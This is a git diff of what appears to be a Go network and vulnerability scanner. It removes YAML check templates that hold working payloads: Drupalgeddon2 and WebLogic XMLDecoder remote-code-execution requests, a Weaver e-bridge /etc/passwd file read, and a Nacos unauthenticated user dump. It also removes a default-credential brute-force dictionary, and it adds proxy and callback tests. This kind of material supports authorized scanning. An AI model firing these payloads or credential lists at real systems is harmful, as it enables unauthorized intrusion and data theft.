}
return pocs
}
func loadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
p := &Poc{}
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
if err != nil {
return nil, err
}
err = yaml.Unmarshal(yamlFile, p)
if err != nil {
return nil, err
}
return p, err
}
func SelectPoc(Pocs embed.FS, pocname string) []string {
entries, err := Pocs.ReadDir("pocs")
if err != nil {
fmt.Println(err)
}
var foundFiles []string
for _, entry := range entries {
if strings.Contains(entry.Name(), pocname) {
foundFiles = append(foundFiles, entry.Name())
}
}
return foundFiles
}
-15
View File
@@ -1,15 +0,0 @@
name: poc-yaml-alibaba-nacos-api-unauth
rules:
- method: GET
path: /nacos/v1/auth/users?pageNo=1&pageSize=9
headers:
User-Agent: Nacos-Server
follow_redirects: true
expression: |
response.content_type.contains("application/json") && response.body.bcontains(bytes("totalCount")) && response.body.bcontains(bytes("pagesAvailable")) && response.body.bcontains(bytes("username")) && response.body.bcontains(bytes("password"))
detail:
author: AgeloVito
info: alibaba-nacos-api-unauth
login: nacos/nacos
links:
- https://blog.csdn.net/caiqiiqi/article/details/112005424
@@ -1,28 +0,0 @@
name: poc-yaml-drupal-drupalgeddon2-rce # nolint[:namematch]
set:
r1: randomLowercase(4)
r2: randomLowercase(4)
rules:
- method: POST
path: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}"
headers:
Content-Type: application/x-www-form-urlencoded
body: |
form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
search: |
name="form_build_id"\s+value="(?P<build_id>.+?)"
expression: |
response.status == 200
- method: POST
path: "/?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}"
headers:
Content-Type: application/x-www-form-urlencoded
body: |
form_build_id={{build_id}}
expression: |
response.body.bcontains(bytes(r1 + "%" + r2))
detail:
drupal_version: 7
links:
- https://github.com/dreadlocked/Drupalgeddon2
- https://paper.seebug.org/567/
@@ -1,20 +0,0 @@
name: poc-yaml-drupal-drupalgeddon2-rce # nolint[:namematch]
set:
r1: randomLowercase(4)
r2: randomLowercase(4)
rules:
- method: POST
path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
headers:
Content-Type: application/x-www-form-urlencoded
body: |
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}}
expression: |
response.body.bcontains(bytes(r1 + "%" + r2))
detail:
drupal_version: 8
links:
- https://github.com/dreadlocked/Drupalgeddon2
- https://paper.seebug.org/567/
test:
target: http://cve-2018-7600-8-x.vulnet:8080/
-12
View File
@@ -1,12 +0,0 @@
name: poc-yaml-spring-heapdump-file
rules:
- method: HEAD
path: /heapdump
follow_redirects: true
expression: |
response.status == 200 && response.content_type.contains("application/octet-stream")
detail:
author: AgeloVito
info: spring-heapdump-file
links:
- https://www.cnblogs.com/wyb628/p/8567610.html
-10
View File
@@ -1,10 +0,0 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /swagger-ui.html
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
detail:
author: AgeloVito
links:
- https://blog.csdn.net/u012206617/article/details/109107210
-10
View File
@@ -1,10 +0,0 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /api/swagger-ui.html
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
detail:
author: AgeloVito
links:
- https://blog.csdn.net/u012206617/article/details/109107210
-10
View File
@@ -1,10 +0,0 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /service/swagger-ui.html
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
detail:
author: AgeloVito
links:
- https://blog.csdn.net/u012206617/article/details/109107210
-10
View File
@@ -1,10 +0,0 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /web/swagger-ui.html
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
detail:
author: AgeloVito
links:
- https://blog.csdn.net/u012206617/article/details/109107210
-10
View File
@@ -1,10 +0,0 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /swagger/swagger-ui.html
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
detail:
author: AgeloVito
links:
- https://blog.csdn.net/u012206617/article/details/109107210
-10
View File
@@ -1,10 +0,0 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /actuator/swagger-ui.html
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
detail:
author: AgeloVito
links:
- https://blog.csdn.net/u012206617/article/details/109107210
-10
View File
@@ -1,10 +0,0 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /libs/swagger-ui.html
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
detail:
author: AgeloVito
links:
- https://blog.csdn.net/u012206617/article/details/109107210
-10
View File
@@ -1,10 +0,0 @@
name: poc-yaml-druid-monitor-unauth
rules:
- method: GET
path: /template/swagger-ui.html
expression: |
response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
detail:
author: AgeloVito
links:
- https://blog.csdn.net/u012206617/article/details/109107210
@@ -1,19 +0,0 @@
name: poc-yaml-weaver-ebridge-file-read-linux
rules:
- method: GET
path: "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt"
follow_redirects: false
expression: |
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id")
search: |
\"id\"\:\"(?P<var>.+?)\"\,
- method: GET
path: "/file/fileNoLogin/{{var}}"
follow_redirects: false
expression: |
response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
detail:
author: mvhz81
info: e-bridge-file-read for Linux
links:
- https://mrxn.net/Infiltration/323.html
@@ -1,19 +0,0 @@
name: poc-yaml-weaver-ebridge-file-read-windows
rules:
- method: GET
path: /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c://windows/win.ini&fileExt=txt
follow_redirects: false
expression: |
response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id")
search: |
\"id\"\:\"(?P<var>.+?)\"\,
- method: GET
path: /file/fileNoLogin/{{var}}
follow_redirects: false
expression: |
response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]"))
detail:
author: mvhz81
info: e-bridge-file-read for windows
links:
- https://mrxn.net/Infiltration/323.html
@@ -1,20 +0,0 @@
name: poc-yaml-weblogic-cve-2017-10271 # nolint[:namematch]
rules:
- method: POST
path: /wls-wsat/CoordinatorPortType
headers:
Content-Type: text/xml
body: >-
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><void class="java.lang.Thread" method="currentThread"><void method="getCurrentWork"><void method="getResponse"><void method="getServletOutputStream"><void method="write"><array class="byte" length="9"><void index="0"><byte>50</byte></void><void index="1"><byte>50</byte></void><void index="2"><byte>53</byte></void><void index="3"><byte>55</byte></void><void index="4"><byte>55</byte></void><void index="5"><byte>51</byte></void><void index="6"><byte>48</byte></void><void index="7"><byte>57</byte></void><void index="8"><byte>49</byte></void></array></void><void method="flush"/></void></void></void></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope></soapenv:Envelope>
follow_redirects: true
expression: >
response.body.bcontains(b"225773091")
detail:
vulnpath: '/wls-wsat/CoordinatorPortType'
author: fnmsd(https://github.com/fnmsd)
description: 'Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2017-10271'
weblogic_version: '10'
links:
- https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
- https://github.com/QAX-A-Team/WeblogicEnvironment
- https://xz.aliyun.com/t/5299
File diff suppressed because it is too large Load Diff
@@ -1,20 +0,0 @@
name: poc-yaml-weblogic-cve-2019-2725 # nolint[:namematch]
rules:
- method: POST
path: /wls-wsat/CoordinatorPortType
headers:
Content-Type: text/xml
body: >-
<?xml version="1.0" encoding="utf-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>fff</wsa:Action><wsa:RelatesTo>hello</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><string><class><string>org.slf4j.ext.EventData</string><void><string><![CDATA[<java><void class="java.lang.Thread" method="currentThread"><void method="getCurrentWork" id="current_work"><void method="getClass"><void method="getDeclaredField"><string>connectionHandler</string><void method="setAccessible"><boolean>true</boolean></void><void method="get"><object idref="current_work"/><void method="getServletRequest"><void method="getResponse"><void method="getServletOutputStream"><void method="write"><array class="byte" length="9"><void index="0"><byte>50</byte></void><void index="1"><byte>50</byte></void><void index="2"><byte>53</byte></void><void index="3"><byte>55</byte></void><void index="4"><byte>55</byte></void><void index="5"><byte>51</byte></void><void index="6"><byte>48</byte></void><void index="7"><byte>57</byte></void><void index="8"><byte>49</byte></void></array></void><void method="flush"/></void><void method="getWriter"><void method="write"><string/></void></void></void></void></void></void></void></void></void></java>]]></string></void></class></string></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
follow_redirects: true
expression: >
response.body.bcontains(b"225773091")
detail:
vulnpath: '/wls-wsat/CoordinatorPortType'
author: fnmsd(https://github.com/fnmsd),2357000166(https://github.com/2357000166)
description: 'Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2019-2725 + org.slf4j.ext.EventData'
weblogic_version: '>12'
links:
- https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271
- https://github.com/QAX-A-Team/WeblogicEnvironment
- https://xz.aliyun.com/t/5299
-158
View File
@@ -1,158 +0,0 @@
package common
import (
"bufio"
"flag"
"fmt"
"os"
"strconv"
"strings"
)
func Parse(Info *HostInfo) {
ParseUser(Info)
ParsePass(Info)
ParseInput(Info)
ParseScantype(Info)
}
func ParseUser(Info *HostInfo) {
if Info.Username != "" {
uesrs := strings.Split(Info.Username, ",")
for _, uesr := range uesrs {
if uesr != "" {
Info.Usernames = append(Info.Usernames, uesr)
}
}
for name := range Userdict {
Userdict[name] = Info.Usernames
}
}
if Userfile != "" {
uesrs, err := Readfile(Userfile)
if err == nil {
for _, uesr := range uesrs {
if uesr != "" {
Info.Usernames = append(Info.Usernames, uesr)
}
}
for name := range Userdict {
Userdict[name] = Info.Usernames
}
}
}
}
func ParsePass(Info *HostInfo) {
if Info.Password != "" {
passs := strings.Split(Info.Password, ",")
for _, pass := range passs {
if pass != "" {
Info.Passwords = append(Info.Passwords, pass)
}
}
Passwords = Info.Passwords
}
if Passfile != "" {
passs, err := Readfile(Passfile)
if err == nil {
for _, pass := range passs {
if pass != "" {
Info.Passwords = append(Info.Passwords, pass)
}
}
Passwords = Info.Passwords
}
}
}
func Readfile(filename string) ([]string, error) {
file, err := os.Open(filename)
if err != nil {
fmt.Println("Open %s error, %v", filename, err)
os.Exit(0)
}
defer file.Close()
var content []string
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
content = append(content, scanner.Text())
}
}
return content, nil
}
func ParseInput(Info *HostInfo) {
if Info.Host == "" && HostFile == "" {
fmt.Println("Host is none")
flag.Usage()
os.Exit(0)
}
//LogErr = Info.Debug
if TmpOutputfile != "" {
if !strings.Contains(Outputfile, "/") && !strings.Contains(Outputfile, `\`) {
Outputfile = getpath() + TmpOutputfile
} else {
Outputfile = TmpOutputfile
}
}
if TmpSave == true {
IsSave = false
}
}
func ParseScantype(Info *HostInfo) {
_, ok := PORTList[Info.Scantype]
if !ok {
fmt.Println("The specified scan type does not exist")
fmt.Println("-m")
for name := range PORTList {
fmt.Println(" [" + name + "]")
}
os.Exit(0)
}
if Info.Scantype != "all" {
if Info.Ports == DefaultPorts {
switch Info.Scantype {
case "webtitle":
Info.Ports = "80,81,443,7001,8000,8080,8089,9200"
case "ms17010":
Info.Ports = "445"
case "cve20200796":
Info.Ports = "445"
case "portscan":
default:
port, _ := PORTList[Info.Scantype]
Info.Ports = strconv.Itoa(port)
}
fmt.Println("if -m ", Info.Scantype, " only scan the port:", Info.Ports)
}
}
}
func CheckErr(text string, err error) {
if err != nil {
fmt.Println(text, err.Error())
os.Exit(0)
}
}
func getpath() string {
filename := os.Args[0]
var path string
if strings.Contains(filename, "/") {
tmp := strings.Split(filename, `/`)
tmp[len(tmp)-1] = ``
path = strings.Join(tmp, `/`)
} else if strings.Contains(filename, `\`) {
tmp := strings.Split(filename, `\`)
tmp[len(tmp)-1] = ``
path = strings.Join(tmp, `\`)
}
return path
}
-210
View File
@@ -1,210 +0,0 @@
package common
import (
"bufio"
"errors"
"fmt"
"net"
"os"
"regexp"
"strconv"
"strings"
)
var ParseIPErr = errors.New(" host parsing error\n" +
"format: \n" +
"192.168.1.1\n" +
"192.168.1.1/8\n" +
"192.168.1.1/16\n" +
"192.168.1.1/24\n" +
"192.168.1.1,192.168.1.2\n" +
"192.168.1.1-192.168.255.255\n" +
"192.168.1.1-255")
func ParseIP(ip string, filename string) (hosts []string, err error) {
if ip != "" {
hosts, err = ParseIPs(ip)
}
if filename != "" {
var filehost []string
filehost, _ = Readipfile(filename)
hosts = append(hosts, filehost...)
}
hosts = RemoveDuplicate(hosts)
return hosts, err
}
func ParseIPs(ip string) (hosts []string, err error) {
if strings.Contains(ip, ",") {
IPList := strings.Split(ip, ",")
var ips []string
for _, ip := range IPList {
ips, err = ParseIPone(ip)
CheckErr(ip, err)
hosts = append(hosts, ips...)
}
return hosts, err
} else {
hosts, err = ParseIPone(ip)
CheckErr(ip, err)
return hosts, err
}
}
func ParseIPone(ip string) ([]string, error) {
reg := regexp.MustCompile(`[a-zA-Z]+`)
switch {
case strings.Contains(ip[len(ip)-3:], "/24"):
return ParseIPA(ip)
case strings.Contains(ip[len(ip)-3:], "/16"):
return ParseIPD(ip)
case strings.Contains(ip[len(ip)-2:], "/8"):
return ParseIPE(ip)
case strings.Count(ip, "-") == 1:
return ParseIPC(ip)
case reg.MatchString(ip):
_, err := net.LookupHost(ip)
if err != nil {
return nil, err
}
return []string{ip}, nil
default:
testIP := net.ParseIP(ip)
if testIP == nil {
return nil, ParseIPErr
}
return []string{ip}, nil
}
}
//Parsing CIDR IP
func ParseIPA(ip string) ([]string, error) {
realIP := ip[:len(ip)-3]
testIP := net.ParseIP(realIP)
if testIP == nil {
return nil, ParseIPErr
}
IPrange := strings.Join(strings.Split(realIP, ".")[0:3], ".")
var AllIP []string
for i := 0; i <= 255; i++ {
AllIP = append(AllIP, IPrange+"."+strconv.Itoa(i))
}
return AllIP, nil
}
//Resolving a range of IP,for example: 192.168.111.1-255,192.168.111.1-192.168.112.255
func ParseIPC(ip string) ([]string, error) {
IPRange := strings.Split(ip, "-")
testIP := net.ParseIP(IPRange[0])
var AllIP []string
if len(IPRange[1]) < 4 {
Range, err := strconv.Atoi(IPRange[1])
if testIP == nil || Range > 255 || err != nil {
return nil, ParseIPErr
}
SplitIP := strings.Split(IPRange[0], ".")
ip1, err1 := strconv.Atoi(SplitIP[3])
ip2, err2 := strconv.Atoi(IPRange[1])
PrefixIP := strings.Join(SplitIP[0:3], ".")
if ip1 > ip2 || err1 != nil || err2 != nil {
return nil, ParseIPErr
}
for i := ip1; i <= ip2; i++ {
AllIP = append(AllIP, PrefixIP+"."+strconv.Itoa(i))
}
} else {
SplitIP1 := strings.Split(IPRange[0], ".")
SplitIP2 := strings.Split(IPRange[1], ".")
if len(SplitIP1) != 4 || len(SplitIP2) != 4 {
return nil, ParseIPErr
}
start, end := [4]int{}, [4]int{}
for i := 0; i < 4; i++ {
ip1, err1 := strconv.Atoi(SplitIP1[i])
ip2, err2 := strconv.Atoi(SplitIP2[i])
if ip1 > ip2 || err1 != nil || err2 != nil {
return nil, ParseIPErr
}
start[i], end[i] = ip1, ip2
}
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
for num := startNum; num < endNum; num++ {
ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff)
AllIP = append(AllIP, ip)
}
}
return AllIP, nil
}
func ParseIPD(ip string) ([]string, error) {
realIP := ip[:len(ip)-3]
testIP := net.ParseIP(realIP)
if testIP == nil {
return nil, ParseIPErr
}
IPrange := strings.Join(strings.Split(realIP, ".")[0:2], ".")
var AllIP []string
for a := 0; a <= 255; a++ {
for b := 0; b <= 255; b++ {
AllIP = append(AllIP, IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b))
}
}
return AllIP, nil
}
func ParseIPE(ip string) ([]string, error) {
realIP := ip[:len(ip)-2]
testIP := net.ParseIP(realIP)
if testIP == nil {
return nil, ParseIPErr
}
IPrange := strings.Join(strings.Split(realIP, ".")[0:1], ".")
var AllIP []string
for a := 0; a <= 255; a++ {
for b := 0; b <= 255; b++ {
AllIP = append(AllIP, IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b)+"."+strconv.Itoa(1))
AllIP = append(AllIP, IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b)+"."+strconv.Itoa(254))
}
}
return AllIP, nil
}
func Readipfile(filename string) ([]string, error) {
file, err := os.Open(filename)
if err != nil {
fmt.Println("Open %s error, %v", filename, err)
os.Exit(0)
}
defer file.Close()
var content []string
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
host, err := ParseIPs(text)
CheckErr(text, err)
content = append(content, host...)
}
}
return content, nil
}
func RemoveDuplicate(old []string) []string {
result := make([]string, 0, len(old))
temp := map[string]struct{}{}
for _, item := range old {
if _, ok := temp[item]; !ok {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}
-31
View File
@@ -1,31 +0,0 @@
package common
import (
"sort"
"strconv"
"strings"
)
func ParsePort(ports string) []int {
var scanPorts []int
slices := strings.Split(ports, ",")
for _, port := range slices {
port = strings.Trim(port, " ")
upper := port
if strings.Contains(port, "-") {
ranges := strings.Split(port, "-")
if len(ranges) < 2 {
continue
}
sort.Strings(ranges)
port = ranges[0]
upper = ranges[1]
}
start, _ := strconv.Atoi(port)
end, _ := strconv.Atoi(upper)
for i := start; i <= end; i++ {
scanPorts = append(scanPorts, i)
}
}
return scanPorts
}
+257
View File
@@ -0,0 +1,257 @@
package common
import (
"testing"
"time"
"github.com/shadow1ng/fscan/common/logging"
"github.com/shadow1ng/fscan/common/proxy"
)
func TestGetLogLevelFromString(t *testing.T) {
tests := []struct {
name string
input string
expected logging.LogLevel
}{
// 标准情况
{"all lowercase", "all", logging.LevelAll},
{"ALL uppercase", "ALL", logging.LevelAll},
{"error lowercase", "error", logging.LevelError},
{"ERROR uppercase", "ERROR", logging.LevelError},
{"base lowercase", "base", logging.LevelBase},
{"BASE uppercase", "BASE", logging.LevelBase},
{"info lowercase", "info", logging.LevelInfo},
{"INFO uppercase", "INFO", logging.LevelInfo},
{"success lowercase", "success", logging.LevelSuccess},
{"SUCCESS uppercase", "SUCCESS", logging.LevelSuccess},
{"debug lowercase", "debug", logging.LevelDebug},
{"DEBUG uppercase", "DEBUG", logging.LevelDebug},
// 组合情况
{"info,success", "info,success", logging.LevelInfoSuccess},
{"base,info,success", "base,info,success", logging.LevelBaseInfoSuccess},
{"BASE_INFO_SUCCESS", "BASE_INFO_SUCCESS", logging.LevelBaseInfoSuccess},
// 边界情况
{"empty string", "", logging.LevelInfoSuccess},
{"unknown value", "unknown", logging.LevelInfoSuccess},
{"random string", "foobar", logging.LevelInfoSuccess},
{"mixed case", "InFo", logging.LevelInfo}, // ToLower后匹配"info"
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
result := getLogLevelFromString(tt.input)
if result != tt.expected {
t.Errorf("getLogLevelFromString(%q) = %v, want %v", tt.input, result, tt.expected)
}
})
}
}
func TestCreateProxyConfig(t *testing.T) {
fv := GetFlagVars()
// 保存原始值并在测试后恢复
origSocks5 := fv.Socks5Proxy
origHTTP := fv.HTTPProxy
defer func() {
fv.Socks5Proxy = origSocks5
fv.HTTPProxy = origHTTP
}()
tests := []struct {
name string
socks5Proxy string
httpProxy string
timeout time.Duration
expectedType proxy.ProxyType
expectedAddr string
expectedUser string
expectedPass string
}{
{
name: "no proxy",
socks5Proxy: "",
httpProxy: "",
timeout: 5 * time.Second,
expectedType: proxy.ProxyTypeNone,
expectedAddr: "",
expectedUser: "",
expectedPass: "",
},
{
name: "socks5 simple address",
socks5Proxy: "127.0.0.1:1080",
httpProxy: "",
timeout: 5 * time.Second,
expectedType: proxy.ProxyTypeSOCKS5,
expectedAddr: "127.0.0.1:1080",
expectedUser: "",
expectedPass: "",
},
{
name: "socks5 with protocol prefix",
socks5Proxy: "socks5://127.0.0.1:1080",
httpProxy: "",
timeout: 5 * time.Second,
expectedType: proxy.ProxyTypeSOCKS5,
expectedAddr: "127.0.0.1:1080",
expectedUser: "",
expectedPass: "",
},
{
name: "socks5 with auth",
socks5Proxy: "socks5://user:[email protected]:1080",
httpProxy: "",
timeout: 5 * time.Second,
expectedType: proxy.ProxyTypeSOCKS5,
expectedAddr: "127.0.0.1:1080",
expectedUser: "user",
expectedPass: "pass",
},
{
name: "socks5 with auth no protocol",
socks5Proxy: "user:[email protected]:1080",
httpProxy: "",
timeout: 5 * time.Second,
expectedType: proxy.ProxyTypeSOCKS5,
expectedAddr: "127.0.0.1:1080",
expectedUser: "user",
expectedPass: "pass",
},
{
name: "http proxy simple",
socks5Proxy: "",
httpProxy: "http://127.0.0.1:8080",
timeout: 5 * time.Second,
expectedType: proxy.ProxyTypeHTTP,
expectedAddr: "127.0.0.1:8080",
expectedUser: "",
expectedPass: "",
},
{
name: "https proxy",
socks5Proxy: "",
httpProxy: "https://127.0.0.1:8443",
timeout: 5 * time.Second,
expectedType: proxy.ProxyTypeHTTPS,
expectedAddr: "127.0.0.1:8443",
expectedUser: "",
expectedPass: "",
},
{
name: "http proxy with auth",
socks5Proxy: "",
httpProxy: "http://user:[email protected]:8080",
timeout: 5 * time.Second,
expectedType: proxy.ProxyTypeHTTP,
expectedAddr: "127.0.0.1:8080",
expectedUser: "user",
expectedPass: "pass",
},
{
name: "socks5 priority over http",
socks5Proxy: "127.0.0.1:1080",
httpProxy: "http://127.0.0.1:8080",
timeout: 5 * time.Second,
expectedType: proxy.ProxyTypeSOCKS5,
expectedAddr: "127.0.0.1:1080",
expectedUser: "",
expectedPass: "",
},
{
name: "socks5 with username only",
socks5Proxy: "socks5://[email protected]:1080",
httpProxy: "",
timeout: 5 * time.Second,
expectedType: proxy.ProxyTypeSOCKS5,
expectedAddr: "127.0.0.1:1080",
expectedUser: "user",
expectedPass: "",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
// 设置FlagVars
fv.Socks5Proxy = tt.socks5Proxy
fv.HTTPProxy = tt.httpProxy
// 调用函数
config := createProxyConfig(tt.timeout)
// 验证结果
if config.Type != tt.expectedType {
t.Errorf("Type = %v, want %v", config.Type, tt.expectedType)
}
if config.Address != tt.expectedAddr {
t.Errorf("Address = %q, want %q", config.Address, tt.expectedAddr)
}
if config.Username != tt.expectedUser {
t.Errorf("Username = %q, want %q", config.Username, tt.expectedUser)
}
if config.Password != tt.expectedPass {
t.Errorf("Password = %q, want %q", config.Password, tt.expectedPass)
}
if config.Timeout != tt.timeout {
t.Errorf("Timeout = %v, want %v", config.Timeout, tt.timeout)
}
})
}
}
func TestCreateProxyConfigEdgeCases(t *testing.T) {
fv := GetFlagVars()
origSocks5 := fv.Socks5Proxy
origHTTP := fv.HTTPProxy
defer func() {
fv.Socks5Proxy = origSocks5
fv.HTTPProxy = origHTTP
}()
t.Run("invalid socks5 url fallback", func(t *testing.T) {
fv.Socks5Proxy = "://invalid"
fv.HTTPProxy = ""
config := createProxyConfig(5 * time.Second)
// 即使 URL 解析失败,也应该回退到原始值或解析后的 Host
if config.Type != proxy.ProxyTypeSOCKS5 {
t.Errorf("Type = %v, want %v", config.Type, proxy.ProxyTypeSOCKS5)
}
// URL 解析后提取 Host,对于 "://invalid" 会得到 ":"
if config.Address == "" {
t.Error("Address should not be empty")
}
})
t.Run("invalid http url fallback", func(t *testing.T) {
fv.Socks5Proxy = ""
fv.HTTPProxy = "://invalid"
config := createProxyConfig(5 * time.Second)
if config.Type != proxy.ProxyTypeHTTP {
t.Errorf("Type = %v, want %v", config.Type, proxy.ProxyTypeHTTP)
}
// URL 解析后提取 Host,对于无效 URL 可能得到非预期值
if config.Address == "" {
t.Error("Address should not be empty")
}
})
t.Run("empty password with username", func(t *testing.T) {
fv.Socks5Proxy = "socks5://user:@127.0.0.1:1080"
fv.HTTPProxy = ""
config := createProxyConfig(5 * time.Second)
if config.Username != "user" {
t.Errorf("Username = %q, want %q", config.Username, "user")
}
if config.Password != "" {
t.Errorf("Password = %q, want empty string", config.Password)
}
})
}
+36
View File
@@ -0,0 +1,36 @@
package common
import "sync"
// ResultCallback 扫描结果回调函数类型
type ResultCallback func(result interface{})
var (
resultCallback ResultCallback
callbackMu sync.RWMutex
)
// SetResultCallback 设置结果回调函数(Web模式使用)
func SetResultCallback(cb ResultCallback) {
callbackMu.Lock()
defer callbackMu.Unlock()
resultCallback = cb
}
// NotifyResult 通知结果给回调函数
func NotifyResult(result interface{}) {
callbackMu.RLock()
cb := resultCallback
callbackMu.RUnlock()
if cb != nil {
cb(result)
}
}
// ClearResultCallback 清除结果回调函数
func ClearResultCallback() {
callbackMu.Lock()
defer callbackMu.Unlock()
resultCallback = nil
}
-102
View File
@@ -1,102 +0,0 @@
package common
var Userdict = map[string][]string{
"ftp": {"www", "admin", "root", "db", "wwwroot", "data", "web", "ftp"},
"mysql": {"root"},
"mssql": {"root", "sa"},
"smb": {"administrator", "guest"},
"postgresql": {"postgres", "admin"},
"ssh": {"root", "admin"},
"mongodb": {"root", "admin"},
}
var Passwords = []string{"admin123A", "admin123", "123456", "admin", "root", "password", "123123", "654321", "123", "1", "admin@123", "Admin@123", "{user}", "{user}123", "", "P@ssw0rd!", "qwa123", "12345678", "test", "123qwe!@#", "123456789", "123321", "666666", "fuckyou", "000000", "1234567890", "8888888", "qwerty", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "Aa123456", "sysadmin", "system", "huawei"}
var PORTList = map[string]int{
"ftp": 21,
"ssh": 22,
"mem": 11211,
"mgo": 27017,
"mssql": 1433,
"psql": 5432,
"redis": 6379,
"mysql": 3306,
"smb": 445,
"ms17010": 1000001,
"cve20200796": 1000002,
"webtitle": 1000003,
"elastic": 9200,
"findnet": 135,
"all": 0,
"portscan": 0,
"icmp": 0,
}
var PortlistBack = map[string]int{
"ftp": 21,
"ssh": 22,
"mem": 11211,
"mgo": 27017,
"mssql": 1433,
"psql": 5432,
"redis": 6379,
"mysql": 3306,
"smb": 445,
"ms17010": 1000001,
"cve20200796": 1000002,
"webtitle": 1000003,
"elastic": 9200,
"findnet": 135,
"all": 0,
"portscan": 0,
"icmp": 0,
}
var Outputfile = getpath() + "result.txt"
var IsSave = true
var DefaultPorts = "21,22,80,81,135,443,445,1433,3306,5432,6379,7001,8000,8080,8089,9200,11211,27017"
type HostInfo struct {
Host string
Ports string
Domain string
Url string
Timeout int64
WebTimeout int64
Scantype string
Command string
Username string
Password string
Usernames []string
Passwords []string
}
type PocInfo struct {
Num int
Rate int
Timeout int64
Proxy string
PocName string
PocDir string
Target string
TargetFile string
RawFile string
Cookie string
ForceSSL bool
ApiKey string
CeyeDomain string
}
var TmpOutputfile string
var TmpSave bool
var IsPing bool
var Ping bool
var Pocinfo PocInfo
var IsWebCan bool
var RedisFile string
var RedisShell string
var Userfile string
var Passfile string
var HostFile string
var Threads int
+266
View File
@@ -0,0 +1,266 @@
package config
// PocInfo POC详细信息结构 - 保留给webscan使用
type PocInfo struct {
Target string `json:"target"`
PocName string `json:"poc_name"`
}
// CredentialPair 精确的用户名密码对
type CredentialPair struct {
Username string `json:"username"`
Password string `json:"password"`
}
// =============================================================================
// 端口组常量 - 从common/constants.go迁移
// =============================================================================
// 预定义端口组 - 字符串格式,用于命令行参数默认值
var (
// 注意:9100 已移除,该端口为打印机 RAW 端口,发送数据会触发打印 (Issue #517)
